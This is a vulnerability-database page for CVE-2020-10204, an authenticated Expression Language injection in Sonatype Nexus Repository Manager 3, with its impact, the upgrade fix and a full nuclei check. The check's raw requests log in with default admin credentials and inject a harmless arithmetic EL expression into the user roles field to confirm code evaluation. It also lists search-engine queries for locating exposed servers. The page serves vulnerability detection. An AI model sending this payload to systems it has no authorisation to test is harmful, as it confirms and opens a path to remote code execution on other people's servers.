Browse / CVEs / CVE-2020-10204
CVE-2020-10204· sonatype / nexus· CWE-20
Sonatype Nexus Repository Manager 3 - Remote Code Execution
highseverity
7.2CVSS score
38.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Sonatype Nexus Repository Manager 3 up to and including 3.21.1 is vulnerable to Expression Language injection. An attacker authenticated with an administrative account can inject an EL expression into the user "roles" field of the coreui_User update endpoint, leading to remote code execution. This is a bypass of the fix for CVE-2018-16621.
Impact
Remote code execution on the Nexus Repository Manager host.
Fix
Upgrade to Sonatype Nexus Repository Manager 3.21.2 or later.
How to confirm it
Send: POST /service/rapture/session ; POST /service/extdirect
Positive when: contains "nx-adminB9999" and "Missing roles" AND status 200Run it with nuclei: nuclei -id CVE-2020-10204 -u <target>
The full check
id: CVE-2020-10204
info:
name: Sonatype Nexus Repository Manager 3 - Remote Code Execution
author: mmadersbacher
severity: high
description: |
Sonatype Nexus Repository Manager 3 up to and including 3.21.1 is vulnerable to Expression Language injection. An attacker authenticated with an administrative account can inject an EL expression into the user "roles" field of the coreui_User update endpoint, leading to remote code execution. This is a bypass of the fix for CVE-2018-16621.
impact: |
Remote code execution on the Nexus Repository Manager host.
remediation: |
Upgrade to Sonatype Nexus Repository Manager 3.21.2 or later.
reference:
- https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204
- https://nvd.nist.gov/vuln/detail/CVE-2020-10204
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2020-10204
epss-score: 0.38423
epss-percentile: 0.98582
cwe-id: CWE-20
metadata:
verified: true
max-request: 2
vendor: sonatype
product: nexus
shodan-query: http.component:"Nexus Repository Manager"
fofa-query: title="nexus repository manager"
tags: cve,cve2020,nexus,rce,sonatype,el-injection,intrusive,authenticated
variables:
username: admin
password: admin
http:
- raw:
- |
POST /service/rapture/session HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username={{base64(username)}}&password={{base64(password)}}
- |
POST /service/extdirect HTTP/1.1
Host: {{Hostname}}
NX-ANTI-CSRF-TOKEN: 1
X-Nexus-UI: true
Content-Type: application/json
Cookie: NX-ANTI-CSRF-TOKEN=1
{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"[email protected]","status":"active","roles":["nx-admin$\\B{3*3333}"]}],"type":"rpc","tid":11}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "nx-adminB9999"
- "Missing roles"
condition: and
- type: status
status:
- 200References
- https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204
- https://nvd.nist.gov/vuln/detail/CVE-2020-10204
Use this check only on systems you are authorised to test. Where the data comes from